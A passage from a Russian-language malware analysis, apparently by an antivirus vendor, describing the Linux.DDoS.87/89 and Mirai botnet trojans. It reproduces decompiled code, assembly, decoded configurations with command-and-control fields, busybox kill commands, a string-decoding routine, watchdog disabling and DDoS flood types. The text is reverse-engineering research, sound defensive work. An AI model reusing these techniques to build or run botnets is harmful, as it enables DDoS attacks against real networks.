Как и п реды дущ ая, эта ко м ан да о п равляет ин кап сулиро ван н ы е GRE-п акеты , о дн ако  в это м  случае

исп о льзуется TEB (Transparent Ethernet Bridging): вло жен н ы й п акет со держит п о лн о цен н ы й Ether-

net-фрэйм . MAC-адреса как о тп равителя, так и п о лучателя во  вн утрен н ем  фрейм е ген ерирую тся

случайн ы м  о бразо м :

.text:08048A3A                 mov     [ebx+ipgre_9.outer_iphdr._ip.pro-
tocol], IPPROTO_GRE

.text:08048A3E                 mov     [ecx+gre_packet.protocolType],
5865h ; GRE_NET_TEB

.text:08048A44                 mov     eax, ds:selfaddr

.text:08048A49                 mov     edx, [esp+6Ch+arg_4]

.text:08048A4D                 mov     [ebx+ipgre_9.outer_iphdr._ip.sr-
c_addr], eax

.text:08048A50                 mov     ecx, [esp+6Ch+saved_frame]

.text:08048A54                 mov     eax, [esp+6Ch+counter]

.text:08048A58                 mov     [ecx+ether_packet.type], 8 ; IP

cmd14 HTTP Flood

За о дин  п ро хо д цикла ко м ан да о тп равляет н а задан н ы й узел 10 HTTP-зап ро со в следую щ его  вида:

GET <param(20)> HTTP/1.1

Host: <param(22)>

Connection: keep-alive

User-Agent: <один случайно выбранный из указанных в конфигурации>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp,*/*;q=0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8
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Linux.DDoS.89

SHA1: 846b2d1b091704bb5a90a1752cafe5545588caa6

М о дифициро ван н ая версия тро ян ца Linux.DDoS.87. И сп о льзует схо жий сп о со б зап о лн ен ия

структуры  с о брабо тчикам и ко м ан д:

v0->number_ = 0;

v0->func = cmd0;

v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);

v3 = malware_conf.size + 1;

malware_conf.entries = v2;

v2[malware_conf.size] = v1;

malware_conf.size = v3;

v4 = (cmd *)calloc(1u, 8u);

v5 = v4;

v4->number_ = 1;

v4->func = cmd1;

Бы л п ерерабо тан  вид исп о льзуем ы х структур: н еко то ры е п о ля п о м ен ялись м естам и. Также

изм ен ился сп о со б зап о лн ен ия и хран ен ия ко н фигурации: в это й версии тро ян ца п ам ять для ее

зап иси н е п ереалло цируется, вм есто  это го  исп о льзуется статически вы делен н ая о бласть п ам яти.

П еред исп о льзо ван ием  хран ящ его ся в п ам яти ко н кретн о го  зн ачен ия ко н фигурации вы зы вается

фун кция decode, ко то рая расш ифро вы вает зн ачен ие с исп о льзо ван ием  о п ерации XOR. П о сле

исп о льзо ван ия эта фун кция вы зы вается п о вто рн о  для ко диро ван ия зн ачен ия в п ам яти. Как и в

п реды дущ ей версии, зн ачен ия п о лей п о лучаю тся п о  н о м еру, н о  теп ерь о н  со вп адает с их

п о ло жен ием  в м ассиве. Фо рм ат п рисы лаем ы х ко м ан д н е изм ен ился. И ден тичен  и сп о со б зап уска

о брабо тчика ко м ан ды  (с учето м  изм ен ен ия сп о со ба хран ен ия о брабо тчико в).

Зап уск о брабо тчика ко м ан ды  в Linux.DDoS.87:

char __cdecl run_command(__time_t time, char number, unsigned __int8 tar-
get_count, target_parsed *targets, unsigned __int8 params_count, param2
*params)

{

  signed int v6; // eax@1

  int v7; // esi@2

  unsigned __int8 v8; // dl@3

  int v9; // ebx@12

  int status; // [esp+28h] [ebp-14h]@8

  LOBYTE(v6) = number;

  if ( handlers.length )
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  {

    v7 = 0;

    if ( number == handlers.handlers->number )

    {

handler_found:

      v6 = __libc_fork();

      if ( v6 <= 0 )

      {

        if ( !v6 )

        {

          v6 = __libc_fork();

          if ( v6 > 0 )

            __GI_exit(0);

          if ( !v6 )

          {

            v6 = __libc_fork();

            v9 = v6;

            if ( !v6 )

            {

              __GI_setsid();

              init_random();

              handlers.handlers[v7].func(target_count, targets, params_-
count, params);

              __GI_exit(0);

            }

            if ( v6 > 0 )

            {

              __GI_setsid();

              sleep(time);

              __GI_kill(v9, 9);

              __GI_exit(0);

            }

          }

        }

      }

      else

      {
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        LOBYTE(v6) = __libc_waitpid(v6, &status, 0);

      }

    }

    else

    {

      v8 = 0;

      while ( ++v8 != handlers.length )

      {

        v7 = v8;

        LOBYTE(v6) = number;

        if ( handlers.handlers[v7].number == number )

          goto handler_found;

      }

    }

  }

  return v6;

}

Зап уск о брабо тчика ко м ан ды  в Linux.DDoS.89:

void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_-
parsed *a4, unsigned __int8 a5, param2 *a6)

{

  int v6; // eax@1

  int v7; // eax@4

  int v8; // eax@7

  cmd *v9; // edx@7

  int v10; // eax@12

  v6 = __libc_fork();

  if ( v6 != -1 && v6 <= 0 )

  {

    v7 = __libc_fork();

    if ( v7 == -1 )

      __GI_exit(0);

    if ( !v7 )

    {

      __GI_sleep(a1);

      v10 = getppid();
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      __GI_kill(v10, 9);

      __GI_exit(0);

    }

    if ( (signed int)malware_conf.size > 0 )

    {

      v8 = 0;

      v9 = *malware_conf.entries;

      if ( a2 == (*malware_conf.entries)->number_ )

      {

LABEL_10:

        v9->func(a3, a4, a5, a6);

      }

      else

      {

        while ( ++v8 != malware_conf.size )

        {

          v9 = malware_conf.entries[v8];

          if ( v9->number_ == a2 )

            goto LABEL_10;

        }

      }

    }

  }

}

О сн о вн ы е о тличия о т Linux.DDoS.87

И зм ен ился ген ерато р п севдо случайн о й п о следо вательн о сти. Также изм ен ился п о рядо к действий

п ри старте тро ян ца. В п ервую  о чередь вы п о лн яется рабо та с сигн алам и, п ри это м  игн о рируется

SIGINT:

__GI_sigemptyset(&v43);

__GI_sigaddset(&v43, SIGINT);

__GI_sigprocmask(SIG_BLOCK, &v43, 0)

Затем  устан авливаю тся о брабо тчики других сигн ало в:

__bsd_signal(SIGCHLD, SIGEV_NONE);

  __bsd_signal(SIGTRAP, change_host);
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//change_host:

void __cdecl change_host()

{

  decode(4u);

  decode(5u);

  cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);

  cnc.sin_port = *(_WORD *)get_config_entry(5, 0);

  encode(4u);

  encode(5u);

}

Затем  п ро цесс п о лучает IP-адрес исп о льзуем о го  для вы хо да в И н терн ет сетево го  ин терфейса

п утем  со един ен ия с DNS-серверо м  Google (Linux.DDoS.87 п о лучал это т адрес, со един яясь с

со бствен н ы м  уп равляю щ им  серверо м ):

int getMyIp()

{

  int v0; // esi@1

  int result; // eax@1

  __int16 v2; // [esp+20h] [ebp-1Ch]@2

  __int16 v3; // [esp+22h] [ebp-1Ah]@2

  int v4; // [esp+24h] [ebp-18h]@2

  int v5; // [esp+30h] [ebp-Ch]@1

  v5 = 16;

  v0 = __GI_socket(2, 2, 0);

  result = 0;

  if ( v0 != -1 )

  {

    v2 = 2;

    v4 = 0x8080808;

    v3 = 0x3500;

    __libc_connect(v0, &v2, 16);

    __GI_getsockname(v0, &v2, &v5);

    __libc_close(v0);

    result = v4;

  }

  return result;}
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П о сле это го  зап ускается ло кальн ы й сервер:

int start_server()

{

  int result; // eax@1

  struct flock *v1; // eax@2

  char v2; // ST1C_1@2

  unsigned __int32 v3; // eax@2

  _DWORD *v4; // ebx@4

  char v5; // [esp+Ch] [ebp-30h]@0

  sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4

  int v7; // [esp+30h] [ebp-Ch]@1

  v7 = 1;

  result = __GI_socket(2, 1, 0);

  server_socket = result;

  if ( result != -1 )

  {

    __GI_setsockopt(result, 1, 2, &v7, 4);

    v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);

    BYTE1(v1) |= 8u;

    __GI___libc_fcntl(server_socket, 4, v1, v2);

    v3 = 0x100007F;

    if ( !can_bind )

      v3 = selfaddr;

    v6.sin_family = 2;

    v6.sin_addr.s_addr = v3;

    v6.sin_port = 0xE5BBu; //48101

    v4 = getLastError();

    *v4 = 0;

    if ( __GI_bind(server_socket, &v6, 16) == -1 )

    {

      if ( *v4 == EADDRNOTAVAIL )

        can_bind = 0;

      v6.sin_family = 2;

      v6.sin_addr.s_addr = 0;

      v6.sin_port = 0xE5BBu; //48101

      __libc_connect(server_socket, &v6, 16); //connect to socket

      __GI_sleep(5);



47
47

      __libc_close(server_socket);

      result = start_server();

    }

    else

    {

      result = __GI_listen(server_socket, 1);

    }

  }

  return result;

}

Если тро ян цу н е удается исп о льзо вать систем н ы й вы зо в bind, о н  со един яется с со о тветствую щ им

п о рто м , так как п редп о лагается, что  п о рт зан ят другим  ран ее зап ущ ен н ы м  п ро цессо м  

Linux.DDoS.89. В тако м  случае ран ее зап ущ ен н ы й п ро цесс заверш ит сво е вы п о лн ен ие.  П о сле

зап уска сервера зап о лн яется структура sockaddr_in, в ко то рую  зап исы вается хран ящ ийся в

исп о лн яем о м  файле адрес уп равляю щ его  сервера:

.text:0804BBEF                 mov     ds:cnc.sin_family, 2

.text:0804BBF8                 add     esp, 10h

.text:0804BBFB                 mov     ds:cnc.sin_addr.s_addr, XXXXXXXXh

.text:0804BC05                 mov     ds:cnc.sin_port, 5000h

Затем  о т им ен и п ро цесса вы числяется следую щ ая фун кция:

def check(name):

    print name

    a = [ord(x) for x in name]

    sum = (0 - 0x51) & 0xff

    for i in [2,4,6,8,10,12]:

        z =  (~a[i % len(a)] & 0xff)

        sum = (sum + z)&0xff

    return sum % 9

Во звращ аем ы й результат это й фун кции служит ин дексо м  в м ассиве фун кций. Фун кция с

со о тветствую щ им  ин дексо м  будет вы п о лн ен а. Сп исо к фун кций им еет следую щ ий вид:

.rodata:080510A0 off_80510A0     dd offset start_server  ; DATA XREF:
main+4Do

.rodata:080510A4                 dd offset decode

.rodata:080510A8                 dd offset get_config_entry

.rodata:080510AC                 dd offset fill_config
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.rodata:080510B0                 dd offset encode

.rodata:080510B4                 dd offset memncpy

.rodata:080510B8                 dd offset strcmp

.rodata:080510BC                 dd offset runkiller

.rodata:080510C0                 dd offset change_host

П о сле это го  п ро веряется им я текущ его  п ро цесса. Если о н о  со вп адает с "./dvrHelper", то

ген ерируется сигн ал SIGTRAP, ко то ры й п риведет к см ен е уп равляю щ его  сервера.

Зап о лн ен ие ко н фигурации о сущ ествляется следую щ им  о бразо м :

v2 = (char *)malloc(0xFu);

memcpy(v2, (char *)&unk_8051259, 15);

conf_entries[3].data = v2;

conf_entries[3].length = 15;

v3 = (char *)malloc(4u);

memcpy(v3, "'ь+B", 4);

conf_entries[4].data = v3;

conf_entries[4].length = 4;

v4 = (char *)malloc(2u);

memcpy(v4, "\"5", 2);

conf_entries[5].data = v4;

conf_entries[5].length = 2;

v5 = (char *)malloc(7u);

Ко н фигурация для дан н о го  о бразца вы глядит следую щ им  о бразо м :

Н о м ер Раско диро ван н о е зн ачен ие Н азн ачен ие

1 "DROPOUTJEEP"  

2 "wiretap -report='tcp://65.222.202.53:80'" эта стро ка п рисваивается в качестве им ен и тро ян ца

и о то бражается в сп иске п ро цессо в

3 "listening tun0" вы во дит н а stdin п ри зап уске

4 <ip-addres> адрес уп равляю щ его  сервера

5 <port> п о рт уп равляю щ его  сервера

6 "/proc/" runkiller

7 "/exe" runkiller
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Н о м ер Раско диро ван н о е зн ачен ие Н азн ачен ие

8 "REPORT %s:%s" runkiller

9 "HTTPFLOOD" runkiller

10 "LOLNOGTFO" runkiller

11 "\x58\x4D\x4E\x4E\x43\x50\x46\x22" runkiller

12 "zollard" runkiller

13 "GETLOCALIP" unused

14 <host> scanner IP-адреса хо ста, н а ко то ры й о тп равляется

ин фо рм ация о  заражен н ы х устро йствах

15 <port> scanner п о рта хо ста, н а ко то ры й о тп равляется

ин фо рм ация о  заражен н ы х устро йствах

16 "shell" scanner

17 "enable" scanner

18 "sh" scanner

19 "/bin/busybox MIRAI" scanner

20 "MIRAI: applet not found" scanner

21 "ncorrect" scanner

22 "TSource Engine Query" cmd1

23 "/etc/resolv.conf" cmd2

24 "nameserver" cmd2

П о сле зап о лн ен ия ко н фигурации им я п ро цесса изм ен яется н а conf[2], а с п о м о щ ью  фун кции

prctl им я п ро цесса м ен яется н а зн ачен ие conf[1].

Затем  о сущ ествляется вы во д в стан дартн ы й п о то к stdin conf[3]:

.text:0804BE05                 lea     eax, [esp+1224h+len]

.text:0804BE0C                 push    eax

.text:0804BE0D                 push    3

.text:0804BE0F                 call    get_config_entry

.text:0804BE14                 add     esp, 0Ch

.text:0804BE17                 mov     edi, [esp+1220h+len]

.text:0804BE1E                 push    edi             ; len
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.text:0804BE1F                 push    eax             ; addr

.text:0804BE20                 push    1               ; fd

.text:0804BE22                 call    ___libc_write

.text:0804BE27                 add     esp, 0Ch

.text:0804BE2A                 push    1               ; len

.text:0804BE2C                 push    offset newline_2 ; addr

.text:0804BE31                 push    1               ; fd

.text:0804BE33                 call    ___libc_write

Далее п ро исхо дит со здан ие до черн их п ро цессо в и вы зо в следую щ их фун кций:

.text:0804BEBF                 call    init_consts__

.text:0804BEC4                 call    fill_handlers

.text:0804BEC9                 call    run_scanner

.text:0804BECE                 pop     esi

.text:0804BECF                 mov     edx, [esp+1228h+var_1210]

.text:0804BED3                 mov     ebx, [edx]

.text:0804BED5                 push    ebx

.text:0804BED6                 call    runkiller

Фун кция runkiller в это й версии тро ян ца н е п ро веряет н аличие файло в в директо рии п ро цесса:

для п ро верки исп о льзуется PID. П ро цесс н е будет заверш ен , если его  PID со вп адает с текущ им  или

с ро дительским .

И зм ен ен иям  п о двергся также м ехан изм  рабо ты  с сетью . Вм есто  бло кирую щ их со кето в тро ян ец

исп о льзует систем н ы й вы зо в select, ко то ры й также о брабаты вает и серверн ы й со кет. П ри лю бо м

п о дклю чен ии к серверн о м у со кету заверш аю тся все до черн ие п ро цессы , зап ускается н о вы й

п ро цесс-скан ер и заверш ается текущ ий п ро цесс:

.text:0804C1E5 socket_server_ready:                    ; CODE XREF: main
+53Ej

.text:0804C1E5                 mov     [esp+121Ch+optval], 10h

.text:0804C1F0                 lea     eax, [esp+121Ch+var_48]

.text:0804C1F7                 push    edi

.text:0804C1F8                 lea     edx, [esp+1220h+optval]

.text:0804C1FF                 push    edx

.text:0804C200                 push    eax

.text:0804C201                 push    ecx

.text:0804C202                 call    ___libc_accept

.text:0804C207                 call    kill_scanner

.text:0804C20C                 call    kill_killer
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.text:0804C211                 call    spawn_new_scanner

.text:0804C216                 pop     ebx

.text:0804C217                 pop     esi

.text:0804C218                 push    9               ; sig

.text:0804C21A                 neg     [esp+1228h+var_120C]

.text:0804C21E                 mov     ecx, [esp+1228h+var_120C]

.text:0804C222                 push    ecx             ; int

.text:0804C223                 call    ___GI_kill

.text:0804C228                 mov     [esp+122Ch+fd], 0 ; status

.text:0804C22F                 call    ___GI_exit

Также н а уп равляю щ ий сервер теп ерь н е о тсы лается MAC-адрес сетево го  адап тера, а ко м ан ды  из

сети п рин им аю тся п о  о дн о й.

Фун кция run_scanner, п о заим ство ван н ая у тро ян цев сем ейства Linux.BackDoor.Fgt и

п редн азн ачен н ая для п о иска в сети уязвим ы х устро йств, бы ла н ем н о го  изм ен ен а. Так, адрес

сервера, н а ко то ры й о тсы лается ин фо рм ация о б уязвим ы х устро йствах, извлекается в это й версии

тро ян ца из ко н фигурации.

И з сп иска вы п о лн яем ы х тип о в атак исчез HTTP flood, сам и ко м ан ды  бы ли п ереуп о рядо чен ы :

Н о м ер Тип

0 UPD random

1 TSource

2 DNS flood

3 TCP flood 2 options

4 TCP flood random data

5 TCP flood

6 UDP over GRE

7 TEB over GRE

В исследо ван н о м  о бразце вирусо п исатели п о п ы тались реализо вать атаку DNS amplification: теп ерь

адрес DNS-сервера извлекается либо  из файла resolv.conf, либо  из сп иска п убличн ы х DNS-

серверо в, заш иты х в тело  тро ян ца.
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Linux.Mirai

SHA1: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f

М о дифициро ван н ая версия тро ян цев Linux.DDoS.87 и Linux.DDoS.89. О сн о вн ы е о тличия о т

Linux.DDoS.89:

· в н еко то ры х о бразцах тро ян ца п о явилась фун кция сам о удален ия;

· тро ян ец н аучился о тклю чать п редо твращ аю щ ий зависан ие о п ерацио н н о й систем ы  сто ро жево й

тайм ер watchdog (что бы  исклю чить п ерезагрузку устро йства);

· им я п ро цесса зам ен яется н а случайн ую  п о следо вательн о сть, со сто ящ ую  из сим во ло в [a-z 0-9];

· изм ен илась структура ко н фигурации;

· п ри о бн аружен ии п ро цесса с им ен ем  ".anime" фун кция Runkiller н е то лько  заверш ает его

рабо ту, н о  и удаляет исп о лн яем ы й файл;

· вн о вь п о явился м ето д атаки HTTP Flood, о тсутство вавш ий в Linux.DDoS.89;

· если н е удало сь со здать со кет и п о дклю читься к н ем у, со о тветствую щ ая фун кция ищ ет

владею щ ий со кето м  п ро цесс и заверш ает его .

Ко н фигурация в это й версии тро ян ца им еет следую щ ий вид:

Н о м ер Зн ачен ие Где исп о льзуется

3 listening tun0 main вы во д н а stdin

4 Host IP-адрес уп равляю щ его  сервера

5 Port п о рт уп равляю щ его  сервера

6 "https://youtube.com/watch?v=dQw4w9WgXcQ"  

7 "/proc/"  runkiller

8 "/exe"  runkiller

9 " (deleted)"  

10 "/fd" runkiller

11 ".anime" runkiller 

12 "REPORT %s:%s" runkiller 

13 "HTTPFLOOD" runkiller 

14 "LOLNOGTFO" runkiller 

15 "\x58\x4D\x4E\x4E\x43\x50\x46\x22" runkiller 

16 "zollard" runkiller 
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Н о м ер Зн ачен ие Где исп о льзуется

17 "GETLOCALIP"  

18 Host  

19 Port  

20 "shell"  

21 "enable"  

22 "system"  

23 "sh"  

24 "/bin/busybox MIRAI"  

25 "MIRAI: applet not found"  

26 "ncorrect"  

27 "/bin/busybox ps"  

28 "/bin/busybox kill -9 "  

29 "TSource Engine Query"  

30 "/etc/resolv.conf"  

31 "nameserver"  

32 "Connection: keep-alive"  

33 "Accept: text/html,application/xhtml+xml,application/

xml;q=0.9,image/webp,*/*;q=0.8"

 

34 "Accept-Language: en-US,en;q=0.8"  

35 "Content-Type: application/x-www-form-urlencoded"  

36 "setCookie('"  

37 "refresh:"  

38 "location:"  

39 "set-cookie:"  

40 "content-length:"  

41 "transfer-encoding:"  
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Н о м ер Зн ачен ие Где исп о льзуется

42 "chunked"  

43 "keep-alive"  

44 "connection:"  

45 "server: dosarrest"  

46 "server: cloudflare-nginx"  

47 "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWe-

bKit/537.36 (KHTML, like Gecko)

Chrome/51.0.2704.103 Safari/537.36"

User Agent

48 "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWe-

bKit/537.36 (KHTML, like Gecko)

Chrome/52.0.2743.116 Safari/537.36"

User Agent

49 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWe-

bKit/537.36 (KHTML, like Gecko)

Chrome/51.0.2704.103 Safari/537.36"

User Agent

50 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWe-

bKit/537.36 (KHTML, like Gecko)

Chrome/52.0.2743.116 Safari/537.36"

User Agent

51 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) Ap-

pleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2

Safari/601.7.7" 

User Agent

Все о бразцы  тро ян ца исп о льзую т фун кцию  со кры тия стро к следую щ его  вида:

def decode(str_enc):

  return "".join([chr(ord(x) ^ 0x22) for x in str_enc])

П ри зап уске тро ян ец удаляет с диска со бствен н ы й исп о лн яем ы й файл, затем  бло кирует сигн ал

о стан о вки п ро цессо в SIGINT с п о м о щ ью  sigprocmask. Устан авливает п арам етр SIG_IGN для

SIGCHLD, а также о брабо тчик для SIGTRAP.

Затем  тро ян ец п ы тается о ткры ть н а чтен ие и зап ись файл /dev/watchdog (также п ро веряется /

dev/misc/watchdog) и, если п о п ы тка увен чалась усп ехо м , о тклю чает сто ро жево й тайм ер watch-

dog (что бы  исклю чить п ерезагрузку устро йства).

ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)

П о сле это го  тро ян ец п ерехо дит в ко рн евую  п ап ку и о бращ ается к адресу 8.8.8.8:53, что бы

п о лучить IP-адрес сво его  сетево го  ин терфейса.
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Затем  вы числяет фун кцию  о т зн ачен ия argv[0]:

def check(name):

    print name

    a = [ord(x) for x in name]

    sum = (0 - 0x51) & 0xff

    for i in [2,4,6,8,10,12]:

        z =  (~a[i % len(a)] & 0xff)

        sum = (sum + z)&0xff

        #print "%x %x %x" % (z, sum, sum % 9)

    return sum % 9

Эта фун кция во звращ ает число  о т 0 до  8, ко то ро е является ин дексо м  в м ассиве фун кций:

off_8055DC0     dd offset bind_socket   ; DATA XREF: main+109o

.rodata:08055DC4                     dd offset sub_80517E0

.rodata:08055DC8                     dd offset sub_8051730

.rodata:08055DCC                     dd offset create_config

.rodata:08055DD0                     dd offset sub_8051760

.rodata:08055DD4                     dd offset sub_80523F0

.rodata:08055DD8                     dd offset strcopy

.rodata:08055DDC                     dd offset runkiller

.rodata:08055DE0                     dd offset sub_804E900

Если зн ачен ие argv[0] = = "./dvrHelper", то  ро дительско м у п ро цессу о тсы лается сигн ал SIGTRAP

(для ко то ро го  ран ее бы л устан о влен  о брабо тчик). О брабо тчик, в сво ю  о чередь, зам ен яет

п о заим ство ван н ы й из ко н фигурации IP-адрес и п о рт сервера, к ко то ро м у будет вы п о лн яться

п о дклю чен ие.

Далее зап ускается слуш аю щ ий со кет н а адресе 127.0.0.1:48101. Если это т п о рт зан ят другим

п ро цессо м , зап ускается фун кция, ко то рая н ахо дит владею щ ий со кето м  п ро цесс и заверш ает его .

Затем  тро ян ец ген ерирует им я в виде случайн о й п о следо вательн о сти, со сто ящ ей из сим во ло в [a-z

0-9], и зап исы вает его  в argv[0]. С п о м о щ ью  фун кции prctl им я п ро цесса м ен яется н а случайн о е.

Далее п ро исхо дит со здан ие до черн их п ро цессо в и заверш ен ие ро дительско го . Все п о следую щ ие

ш аги вы п о лн яю тся в до черн ем  п ро цессе – в частн о сти, зап о лн яется структура, со держащ ая

о брабо тчики. Затем  зап ускается фун кция скан иро ван ия уязвим ы х telnet-узло в и фун кция,

заверш аю щ ая п ро цессы  других тро ян цев. П о сле это го  зап ускается о брабо тчик п о ступ аю щ их о т

уп равляю щ его  сервера ко м ан д. Если о бн аруживается п о п ы тка со един ен ия с ло кальн ы м  серверо м ,

заверш аю тся все до черн ие п ро цессы , зап ускается п ро цесс-п о то м о к с целью  скан иро ван ия

уязвим ы х telnet-узло в, а ро дительский п ро цесс заверш ается.

Для сравн ен ия н а иллю страциях далее п о казан ы  фрагм ен ты  ко да Linux.DDoS.87 и Linux.Mirai.
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